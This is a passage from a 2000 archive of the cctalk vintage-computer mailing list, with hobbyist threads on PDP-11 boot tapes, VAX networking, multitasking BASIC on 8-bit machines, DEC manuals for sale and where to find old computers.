Hardware configured. If need be I guess I can always break out the /23+ as it's the most standard DEC PDP-11 config I've got. My concern with the /73 is that it uses a WQESD/04 to bootstrap the system, the Harddrives, CD-ROM and TZ30 hang on a Viking SCSI board, and the RX50's are hooked up to a RQDX3. Zane From pat at transarc.ibm.com Wed May 17 14:46:33 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:45 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: Message-ID: On Wed, 17 May 2000, Zane H. Healy wrote: > OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape > under OpenVMS V7.2? > > What can I say, I really don't feel like getting my DECstation 5000/133 > fully up and running with NetBSD, moving the TZ30 from my PDP-11/73 to the > DECstation, making the tape, then moving the TZ30 back just to build a tape. Sure - there is definitely a way to take your raw data and dump it out to an unlabelled tape. But it's been so long since I've used VMS, that I don't remember what that way is. However, see comments below ... > Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for > my /44 and then use a VAX to make the diskpacks :^) If that is an option for you, you should do that. The bootstrap and standalone utilities only support TU10/TU16, TE16, and TS11 tape drives; there is no TMSCP support at all in V7m. If you key in a TMSCP bootstrap by hand, you'll probably be able to read in the bootstrap and get to the Boot : prompt, but you won't be able to do anything after that, since boot won't load anything from a TMSCP tape..... --Pat. From cem14 at cornell.edu Wed May 17 15:58:53 2000 From: cem14 at cornell.edu (Carlos Murillo-Sanchez) Date: Sun Feb 27 18:51:45 2005 Subject: WTD: HP9000/735 Ethernet Board References: Message-ID: <3923080D.D72ECC93@cornell.edu> hmmm... 735's have a big multiple jumper for selecting either the AUI or BNC connectors; was this jumper set properly? All network cards for the 735 that I know have both BNC and AUI (except, of course for the FDDI card). BTW, nice machine he got. I have several. carlos. Dan Linder wrote: > > Hello List, > > A friend of mine has recently acquired an HP9000/735, and he's looking > to get an ethernet adapter for it. (it either didn't have one, or the one > he had was less than functional). > > It is HP PN A2095-66584, the AUI ethernet board for an HP 735. He would > also be interested in the thin lan card instead, if someone has one of > those available for sale. > > thanks a lot in advance. > > - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - > - Riot sounds start riots. / keep talking... - -- Carlos Murillo-Sanchez email: cem14@cornell.edu 428 Phillips Hall, Electrical Engineering Department Cornell University, Ithaca, NY 14853 From foo at siconic.com Wed May 17 15:06:46 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005172126.ZM4785@indy.dunnington.u-net.com> Message-ID: On Wed, 17 May 2000, Pete Turnbull wrote: > Yes, probably :-) Since you wouldn't need much code, and nothing on a > standard Apple uses interrupts, you could go one further and make it a > time-sliced system instead of a cooperative one, with a very simple circuit > (not much more than a 555 timer, though you might want it on a card with a > PROM to hold the code). I considered this. An easier way to do this is to copy the BASIC ROM into RAM in the upper 16K bank of memory and then modify the interpreter to switch after the execution of each BASIC program line. Sellam From healyzh at aracnet.com Wed May 17 16:31:12 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:45 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: from "Pat Barron" at May 17, 2000 03:46:33 PM Message-ID: <200005172131.OAA29619@shell1.aracnet.com> > > Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for > > my /44 and then use a VAX to make the diskpacks :^) > > If that is an option for you, you should do that. The bootstrap and > standalone utilities only support TU10/TU16, TE16, and TS11 tape drives; > there is no TMSCP support at all in V7m. If you key in a TMSCP bootstrap > by hand, you'll probably be able to read in the bootstrap and get to the > > Boot > : > > prompt, but you won't be able to do anything after that, since boot won't > load anything from a TMSCP tape..... > > --Pat. > In the case of the /44 it's also the easiest, as I don't feel like dragging my TU81+ home from storage, or fighting with a SCSI tape drive. I've got a MicroVAX 3 with a RLV12 in the rack next to the /44 for doing backups of my RL02's, so the hardest part of doing it this way will be building the packs on the emulator. Zane From jdarren at ala.net Wed May 17 16:23:45 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:51:45 2005 Subject: DEC PDP-11 Manuals For Sale Message-ID: <000701bfc046$2f74f120$026464c0@j.peters> *shipping is not included in listed price. CR11/CM11 CARD READER SYSTEM MANUAL, 1975 ($25) ========================================= ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/4-INCH THICK ? SECTIONS ARE (1) INTRODUCTION, (2) GENERAL DESCRIPTION, (3) OPERATION, (4) PROGRAMMING INFORMATION, AND (5) THEORY OF OPERATION. ? APPENDICES ARE (A) GDI CARD READERS, (B) CARD READER INTERFACE SIGNALS, (C) HOLLERITH CODE, AND (D) INTEGRATED CIRCUIT DESIGN. DEC PDP-11 DL11-W SERIAL LINE UNIT/REAL-TIME CLOCK OPTION MAINTENANCE MANUAL, 1977 ($15) ============================================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 74 PAGES ? SECTIONS ARE (1) INTRODUCTION, (2) CONFIGURATION, (3) PROGRAMMING INFORMATION, (4) DETAILED DECSRIPTION ? APPENDICES ARE (A) IC SCHEMATICS AND (B) VECTOR ADDRESSING. DEC PDP-11 BA11-K MOUNTING BOX 10.5 INCH MOUNTING BOX TECHNICAL MANUAL, 1978 ($15) ====================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) MOUNTING BOX CHARACTERISTICS, (2) UNPACKING AND INSTALLATION, (3) SYSTEM UNITS, OPTIONS, AND HARNESSES, (4) H765 POWER SYSTEM, (5) MAINTENANCE. ? APPENDICES ARE (A) H745 -15 VOLT REGULATOR, (B) H744 +5 VOLT REGULATOR, (C) H754 +20, -5 VOLT REGULATOR, (D) H7441 +5 VOLT REGULATOR, (E) H785 BATTERY BACKUP REGULATOR, AND (F) H775 BATTERY BACKUP UNIT. DEC PDP-11 BA11-K MOUNTING BOX 10.5 INCH MOUNTING BOX ILLUSTRATED PARTS BREAKDOWN, 1981 ($10) ================================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES ? 2 COPIES H744 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1976 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES 861-A THROUGH -F POWER CONTROLLER ILLUSTRATED PARTS BREAKDOWN, 1980 ($10) =================================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 14 PAGES H745 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 12 PAGES H754 REGULATOR ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ================================================ ? ORIGINAL ISSUE ? UNUSED CONDITION ? 20 PAGES H7420 POWER SUPPLY ILLUSTRATED PARTS BREAKDOWN, 1975 ($10) ==================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 10 PAGES PDP-11/45 16-BIT COMPUTER (BASIC) ILLUSTRATED PARTS BREAKDOWN, 1974 ($10) ============================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? VERY GOOD CONDITION ? 28 PAGES DEC PDP-11 TMB11/TU10W DECMAGTAPE SYSTEM MAINTENANCE MANUAL (TMB11-E/F SYSTEM), 1979 ($10) ================================================================================= ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) GENERAL INFORMATION, (2) INSTALLATION, (3) OPERATION, (4) PREVENTIVE MAINTENANCE, (5) MAINTENANCE, TMB11 THEORY OF OPERATION, (7) M8926 THEORY OF OPERATION, AND (8) TU10W HOST TRANSPORT THEORY OF OPERATION. ? APPENDICES ARE (A) MAGNETIC TAPE FUNDAMENTALS, (B) SYSTEM DIAGNOSTICS, (C) FLOW DIAGRAM GLOSSARY, (D) M8926 INTERFACE SIGNALS, AND (E) TMB11/TU10W DATA SHEETS. DEC PDP-11 TE16/TE10W/TE10N DECMAGTAPE TECHNICAL MANUAL, 1977 ($10) ========================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) INTRODUCTION, (2) INSTALLATION, (3) OPERATING INSTRUCTIONS, (4) PREVENTIVE MAINTENANCE, (5) THEORY OF OPERATION, AND (6) SERVICING. ? APPENDICES ARE (A) MAGNETIC TAPE FUNDAMENTALS, AND (B) GLOSSARY. DEC TE16 DECMAGTAPE ILLUSTRATED PARTS BREAKDOWN, 1980 ($10) ===================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1/4-INCH THICK DEC PDP-11 DL11 ASYNCHRONOUS LINE INTERFACE MANUAL, 1975 ($10) ====================================================== ? REPRODUCTION, NOT ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) INTRODUCTION, (2) GENERAL DESCRIPTION, (3) INSTALLATION, (4) PROGRAMMING INFORMATION, AND (5) DETAILED DECSRIPTION. ? APPENDICES ARE (A) IC SCHEMATICS AND (B) VECTOR ADDRESSING. DEC LA36/LA35 DECWRITER II USERS MANUAL, 1977 ($25) ========================================= ? ORIGINAL ISSUE ? UNUSED CONDITION ? 1/2-INCH THICK ? SECTIONS ARE (1) LA36 USERS INFORMATION, (2) LA35 USERS INFORMATION, AND (3) COMMON INFORMATION. DEC LA36/LA35 DECWRITER II MAINTENANCE MANUAL, 1978 ($10) ================================================ ? REPRODUCTION, NOT AN ORIGINAL ISSUE ? EXCELLENT CONDITION ? 1-1/2 INCHES THICK ? SECTIONS ARE (1) GENERAL DESCRIPTION, (2) INSTALLATION, (3) OPERATION, (4) THEORY, (5) UPGRADED LA36, (6) ELECTRICAL SERVICING, (7) MECHANICAL SERVICING, AND (8) ADJUSTMENT PROCEDURES. ? APPENDICES ARE (A) ENGINEERING DRAWINGS, (B) IPB, (C) REFERENCE DATA. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/0f1d9ae8/attachment.html From jdarren at ala.net Wed May 17 16:29:20 2000 From: jdarren at ala.net (jdarren) Date: Sun Feb 27 18:51:45 2005 Subject: additional DEC PDP-11 Manual For Sale Message-ID: <002401bfc046$f752b6a0$026464c0@j.peters> *shipping is not included in listed price. DEC PDP-11 DR11-C GENERAL DEVICE INTERFACE MANUAL, 1974 ($15) ==================================================== ? ORIGINAL ISSUE ? UNUSED CONDITION ? 46 PAGES ? SECTIONS ARE (1) INTRODUCTION, (2) SOFTWARE INTERFACE, (3) USER INPUT/OUTPUT SIGNALS, (4) THEORY OF OPERATION, (5) MAINTENANCE, (6) EXAMPLES, AND (7) ENGINEERING DRAWING SET. ? APPENDICES ARE (A) INTEGRATED CIRCUIT AND (B) USE OF BB11. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/969496ab/attachment.html From pete at dunnington.u-net.com Wed May 17 19:04:10 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Re: Cool AppleSoft BASIC trick I never thought of before" (May 17, 13:06) References: Message-ID: <10005180104.ZM6371@indy.dunnington.u-net.com> On May 17, 13:06, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Pete Turnbull wrote: > > > Yes, probably :-) Since you wouldn't need much code, and nothing on a > > standard Apple uses interrupts, you could go one further and make it a > > time-sliced system instead of a cooperative one, with a very simple circuit > > (not much more than a 555 timer, though you might want it on a card with a > > PROM to hold the code). > > I considered this. An easier way to do this is to copy the BASIC ROM into > RAM in the upper 16K bank of memory and then modify the interpreter to > switch after the execution of each BASIC program line. Depends on whether you prefer hardware to software, I guess :-) Modifying BASIC in a language card also has the advantage that it only tries to switch when it's actually executing BASIC (rather than some DOS routine or something you've BRUN) but I suspect that after-every-line is too often -- you'd spend a lot of time (proportionately speaking) context switching. And it would be irregular; a multi-statement line encompassing a loop will take much longer than a simple statement. -- Pete Peter Turnbull Dept. of Computer Science University of York From cmcmanis at mcmanis.com Wed May 17 20:03:51 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:45 2005 Subject: VAX 4000 panel bulkhead compatibility? In-Reply-To: <10005180104.ZM6371@indy.dunnington.u-net.com> References: Message-ID: <4.1.20000517174017.03e7cc70@mailhost.hq.freegate.com> As I mentioned earlier I've got a BA213 "MicroVAX 3400" that has had its CPU upgraded to a KA660 (VAX 4000/200). I'm trying to get networking working. I have available MULTINET and UCX as software, currently Multinet is installed under a 30 day evaluation PAK. @MULTINET:START_MULTINET runs but MULTINET CHECK claims that my default router is unreachable. EZA0: is plugged through an ethernet tranciever into a hub. I've tried the SQE switch on both positions (I can never remember if hubs _want_ heart beats or not). I have two other systems connected to that Hub, one a VAX 4000/300 with VMS/Multinet and one a Vaxstation 3100/M76 with NetBSD. I can telnet to either of them from the main network so I'm pretty sure the hub is working. Q1: Is the CPU "bulkhead" for the 4000/200 compatible with the CPU bulkhead for the 3400? It is the "one ribbon cable" variety (rather than the two cables the the KA630,50,and 55 use) Q2: Which way _should_ the SQE switch be set? Q3: Does Multinet do Echoreply? Pings seem to fall into a black hole. --Chuck From technoid at cheta.net Wed May 17 20:07:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:45 2005 Subject: OT: Private jets was Re: Finding Classic Computers In-Reply-To: <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <200005180108.VAA14880@lexington.ioa.net> In <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au>, on 05/17/00 at 09:07 PM, "Geoff Roberts" said: >----- Original Message ----- >From: "Mark Gregory" >To: >Sent: Wednesday, May 17, 2000 8:01 AM >Subject: Re: Finding Classic Computers >>> Nice toy if you have money to burn and like to sightsee at Mach 2. I've understood from some source or other that even if you own a transonic/supersonic vehicle, you are not allowed to take it above mach .98. >>>Jet fuel is cheap in comparison. No kidding. AvGas is really steep these days and getting rare because most new piston aircraft engines run on kerosene. YHOSvt. Technoid -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From chris at mainecoon.com Wed May 17 20:35:16 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:51:45 2005 Subject: OT: Private jets was Re: Finding Classic Computers References: <200005180108.VAA14880@lexington.ioa.net> Message-ID: <392348D4.D41F1A4@mainecoon.com> technoid@cheta.net wrote: > >>> Nice toy if you have money to burn and like to sightsee at Mach 2. > > I've understood from some source or other that even if you own a > transonic/supersonic vehicle, you are not allowed to take it above mach > .98. Nah, at least not in the US. FAR 91.817 describes what's necessary for civil aircraft to exceed Mach 1; essentially you have to jump through burning hoops of paperwork fire in order to demonstrate that there's a reason why it's needed, that the test area isn't environmentally sensitive and that the no sonic boom overpressure will reach the surface outside the desginated test area. Most of the verbage falls away if you're willing to restrict your activities to overwater. They also get you with FAR 91.819 and 91.821, which are airport noise restrictions which would effectively preclude you from operating in or out of most airports between 2200 and 0700, even if you never took your bird supersonic. Jeez, I've been spending too much time reading regs again... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From geoffrob at stmarks.pp.catholic.edu.au Wed May 17 20:57:46 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <006101bfc06c$789820e0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Mark Gregory" To: Sent: Thursday, May 18, 2000 1:19 AM Subject: Re: Finding Vintage Computers - A Primer > In my area, there's a related type of store that is worth a look. It's a > chain called "Cash Converters", where they buy your unwanted goods (at > substantially less than the estimated value) and then sell them in a retail > environment. Like a permanent garage sale under one roof. Unlike a pawn > shop, you can't reclaim your item for what they gave you for it. They > occasionally have classic comp stuff; I've found TRS-80s of various kinds, > Model 100s, PS/2s, Newtons and a lot of older software. The prices are > initially set high, but if an item doesn't sell, they progressively reduce > the price until it does. You in Sydney? The Ca$h Converter$ in Adelaide seem not to have heard of the progressive reduction in price part of the concept. I saw an real IBM XT, 2FDD no HDD, Monochrome, about 6 months ago with a $250 price tag on it. It was still there with the same price 3 weeks ago. Perhaps the Sydney stores get more turnover. I've yet to see a good price on anything in a cash converters unless it was something they had grossly undervalued due to ignorance. That said, they do screw up badly sometimes, and if your're quick you can get the odd bargain. (I got a very nice Sony SCSI CDROM for $10 because the dopey store buyer that bought it thought it was an old proprietary interface type.) IF you are ever in Adelaide, give Hi Technology Metal Recyclers a visit. They are scrappers, but they do pull PC and similar stuff aside and sell it at very good prices. I got a VS4000/90 from there a couple years back for a song. They do get Vaxen from time to time as well, a couple of my Vax 6000's came from there. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au netcafe@pirie.mtx.net.au ICQ: 1970476 YMMV. Cheers Geoff Roberts From technoid at cheta.net Wed May 17 21:34:44 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <10005180104.ZM6371@indy.dunnington.u-net.com> Message-ID: <200005180239.WAA05469@lexington.ioa.net> I have a prototype multitasking operating system in 6502 machine language for the Atari 8-bit series machines. Might be useful if I get the gist of what this topic is about. The main purpose was to run several BASIC programs simultaniously and give each a timeslice. The timeslice for each task is adjustable. If true timeshareing is not required then I'd look to Tom Hunt for his AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and produces the effect of multitasking but the tasks on disk are of course halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He mainly wrote in ACTION! - a C-like language unique to the Atari from OSS (Optimized System Software - they used to be Sheperdson Microsystems and wrote Atari Basic in addition to many other things in the 8-bit world). Action had the benefit of a runtime package for distribution and very fast program execution when compared to most other languages for the Atari. Action! programs ran at near machine code speed. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From jlewczyk at his.com Wed May 17 22:13:22 2000 From: jlewczyk at his.com (John Lewczyk) Date: Sun Feb 27 18:51:45 2005 Subject: Univac Lamp interesting piece In-Reply-To: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <000401bfc077$05e18450$013da8c0@Corellian> Even though its on epay and the reserve is $10K, this *is* an interesting piece. Its a lamp constructed from pieces of the technology that went into the Univac (model 70), according to the seller. Looks like technology around about 1970, with a combination of core and ICs. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=334627365 Any opinions on the authenticity of this item? This reminds me a little of some sculptures of animals that were constructed in the late 60s/early 70s from electronic components, and were part of an advertising for some company [Honeywell?]. Anybody know anything about them? Are there pics on the web? From foo at siconic.com Wed May 17 22:59:45 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <200005180239.WAA05469@lexington.ioa.net> Message-ID: On Wed, 17 May 2000 technoid@cheta.net wrote: > I have a prototype multitasking operating system in 6502 machine language > for the Atari 8-bit series machines. Might be useful if I get the gist of > what this topic is about. The main purpose was to run several BASIC > programs simultaniously and give each a timeslice. The timeslice for each > task is adjustable. This is indeed what we are talking about. Sounds cool! > If true timeshareing is not required then I'd look to Tom Hunt for his > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and Slow? > produces the effect of multitasking but the tasks on disk are of course > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > (Optimized System Software - they used to be Sheperdson Microsystems and > wrote Atari Basic in addition to many other things in the 8-bit world). Sounds familiar. Didn't they also write DOS for the Apple ][? I've heard the names before (Sheperdson and OSS) but can't quite place what products I associate with them. I know there was a company that developed primarily for the Atari but also did Apple DOS. I have their website linked from the VCF links page but am too lazy to go looking. > Action had the benefit of a runtime package for distribution and very fast > program execution when compared to most other languages for the Atari. > Action! programs ran at near machine code speed. Interesting! From jolminkh at nsw.bigpond.net.au Thu May 18 04:43:00 2000 From: jolminkh at nsw.bigpond.net.au (Olminkhof) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <001b01bfc0ad$7589bee0$dadf8490@tp.nsw.bigpond.net.au> >> Model 100s, PS/2s, Newtons and a lot of older software. The prices are >> initially set high, but if an item doesn't sell, they progressively >reduce >> the price until it does. > >You in Sydney? The Ca$h Converter$ in Adelaide seem not to have heard >of the progressive reduction in price part of the concept. I saw an >real IBM XT, 2FDD no HDD, Monochrome, about 6 months ago with a $250 >price tag on it. It was still there with the same price 3 weeks ago. >Perhaps the Sydney stores get more turnover. I've yet to see a good He can't be in Sydney. I am and I've never seen them behave like that. I rarely even look. At the Bondi Junction store there's usually more staff than customers at the hours I visit and they look mean and hungry. Hans From geoffrob at stmarks.pp.catholic.edu.au Thu May 18 04:28:03 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer References: <001b01bfc0ad$7589bee0$dadf8490@tp.nsw.bigpond.net.au> Message-ID: <000501bfc0ab$5f4ebec0$647d38cb@helpdesk> ----- Original Message ----- From: "Olminkhof" To: Sent: Thursday, May 18, 2000 7:13 PM Subject: Re: Finding Vintage Computers - A Primer > He can't be in Sydney. Er, no. My mistake. Canada. Must have looked at the headers from the wrong msg. Senility is my only excuse. > I am and I've never seen them behave like that. Me either. > I rarely even look. At the Bondi Junction store there's usually more staff > than customers at the hours I visit and they look mean and hungry. Sounds about right. There are several in Adelaide, one in the city, one at Port Adelaide, Smithfield, Tea Tree Gully, and ?? Can't remember. All seem to be stocked with (computerwise) mostly newer systems, with ridiculous prices, with a few older systems at even more ridiculous prices. Even with the stuff a year or 2 old, I've seen price tags that would buy you a brand new system. Some people do buy them. P. T. Barnum was right. You need to be lucky to get a bargain there, and that only happens when they screw up on something. Cheers Geoff From rigdonj at intellistar.net Thu May 18 08:32:35 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:45 2005 Subject: Cromemco ?? Message-ID: <3.0.1.16.20000518083235.4ed70018@mailhost.intellistar.net> Hi, Are there any Crommeco experts out there? I have a couple of questiosn about the Cromemco terminals and printers. Joe From rigdonj at intellistar.net Thu May 18 08:31:08 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Also ask if you can look in any old trucks sitting around the scrap places. I did that yesterday and was told yes, but that it only contained junk. I looked anyway and found two Apple Lisas, three Lisa keyboards, a Profile hard drive and a NIB Apple MODEM. Also found and brought home a Beehive MicroB terminal in it's orginal box. Oh! I also found a pile of Cromemco terminals and printers (3102s and 3715s?) in the same truck. Are these worth picking up? Joe From richard at idcomm.com Thu May 18 08:10:47 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <001901bfc0ca$7e521aa0$0400c0a8@winbook> You may find that your multitasking effort works better if you don't accept a time-slice when it's offered unless you're ready for it. Many times (particularly with the rather slow disk I/O, etc) you are I/O bound or waiting for another process to complete, it's better all around if you give back the time-slice if you can't use it. If the time slice is small (e.g. 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or so, you may want to avoid wasting it. Dick ----- Original Message ----- From: To: Sent: Wednesday, May 17, 2000 8:34 PM Subject: Re: Cool AppleSoft BASIC trick I never thought of before > I have a prototype multitasking operating system in 6502 machine language > for the Atari 8-bit series machines. Might be useful if I get the gist of > what this topic is about. The main purpose was to run several BASIC > programs simultaniously and give each a timeslice. The timeslice for each > task is adjustable. > > If true timeshareing is not required then I'd look to Tom Hunt for his > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and > produces the effect of multitasking but the tasks on disk are of course > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > (Optimized System Software - they used to be Sheperdson Microsystems and > wrote Atari Basic in addition to many other things in the 8-bit world). > Action had the benefit of a runtime package for distribution and very fast > program execution when compared to most other languages for the Atari. > Action! programs ran at near machine code speed. > > > -- > ----------------------------------------------------------- > Jeffrey S. Worley > Complete Computer Services > 30 Greenwood Rd. > Asheville, NC 28803 > 828-274-5781 0900-1800 weekdays > Who is General Failure and why is he reading my hard disk? > Technoid@Cheta.net > ----------------------------------------------------------- > From allisonp at world.std.com Thu May 18 08:26:56 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> Message-ID: Yes, having the app falg "blocked waiting IO" is important if you want the best efficientcy. The difficult part is sometimes determining that and keeping it sane. Allison On Thu, 18 May 2000, Richard Erlacher wrote: > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. > > Dick > > ----- Original Message ----- > From: > To: > Sent: Wednesday, May 17, 2000 8:34 PM > Subject: Re: Cool AppleSoft BASIC trick I never thought of before > > > > I have a prototype multitasking operating system in 6502 machine language > > for the Atari 8-bit series machines. Might be useful if I get the gist of > > what this topic is about. The main purpose was to run several BASIC > > programs simultaniously and give each a timeslice. The timeslice for each > > task is adjustable. > > > > If true timeshareing is not required then I'd look to Tom Hunt for his > > AMAZING program "SNAPSHOT". Snapshot swaps images of ram to disk and > > produces the effect of multitasking but the tasks on disk are of course > > halted.... It is incredibly compatible. Tom Hunt is a God on 6502. He > > mainly wrote in ACTION! - a C-like language unique to the Atari from OSS > > (Optimized System Software - they used to be Sheperdson Microsystems and > > wrote Atari Basic in addition to many other things in the 8-bit world). > > Action had the benefit of a runtime package for distribution and very fast > > program execution when compared to most other languages for the Atari. > > Action! programs ran at near machine code speed. > > > > > > -- > > ----------------------------------------------------------- > > Jeffrey S. Worley > > Complete Computer Services > > 30 Greenwood Rd. > > Asheville, NC 28803 > > 828-274-5781 0900-1800 weekdays > > Who is General Failure and why is he reading my hard disk? > > Technoid@Cheta.net > > ----------------------------------------------------------- > > > From spc at armigeron.com Thu May 18 08:25:57 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <001901bfc0ca$7e521aa0$0400c0a8@winbook> from "Richard Erlacher" at May 18, 2000 07:10:47 AM Message-ID: <200005181325.JAA32434@armigeron.com> It was thus said that the Great Richard Erlacher once stated: > > You may find that your multitasking effort works better if you don't accept > a time-slice when it's offered unless you're ready for it. Many times > (particularly with the rather slow disk I/O, etc) you are I/O bound or > waiting for another process to complete, it's better all around if you give > back the time-slice if you can't use it. If the time slice is small (e.g. > 1/60 sec or so) it won't matter so much, but if it's long, i.e. 1/10 sec, or > so, you may want to avoid wasting it. Generally in a multitasking system with timeslicing, there are two queues (or lists)---one for processes that are running, and another one for processes that are waiting for something (usually I/O to complete). The code that manages the tasks take the next task on the run queue and dispatch it. When an event one of the processes on the wait queue has happened, it is then moved from the wait queue to the run queue. When a process makes a request that may take awhile, it is then moved from the run queue to the wait queue. There is no need for the process to give up its slice if its waiting for something---all that happens in the system. -spc (Have compiler, will program) From jfoust at threedee.com Thu May 18 08:31:15 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:45 2005 Subject: Univac Lamp interesting piece In-Reply-To: <000401bfc077$05e18450$013da8c0@Corellian> References: <200005180239.WAA05469@lexington.ioa.net> Message-ID: <4.3.0.20000518082804.00e72e60@pc> At 11:13 PM 5/17/00 -0400, John Lewczyk wrote: >Even though its on epay and the reserve is $10K, this *is* an >interesting piece. And the seller has those charming qualities of only being able to type in upper case, sprinkled with spelling errors. I guess the $10,000 price is based on a 2/3 reduction of the "former shipping supervisor for Univac," who estimated the original cost of goods used to construct the lamp. www.sanfordandson.com, indeed! - John From richard at idcomm.com Thu May 18 08:33:20 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:46 2005 Subject: Finding Vintage Computers - A Primer References: <3.0.1.16.20000518083108.09b7e53a@mailhost.intellistar.net> Message-ID: <031f01bfc0cd$a4ed3160$0400c0a8@winbook> I didn't know that Cromemco made printers and terminals, and, actually, I'm quite sure they didn't. What this means is that these are probably private-brand-labeled printers, most likely from Centronics unless they're from the Epson era, and the terminals, likewise, are private brand-labelled terminals, possibly from SORROC (model 220, maybe?) Anything's possible, however, so I'd look inside one. There should be ample clues. Dick ----- Original Message ----- From: Joe To: Sent: Thursday, May 18, 2000 7:31 AM Subject: Re: Finding Vintage Computers - A Primer > Also ask 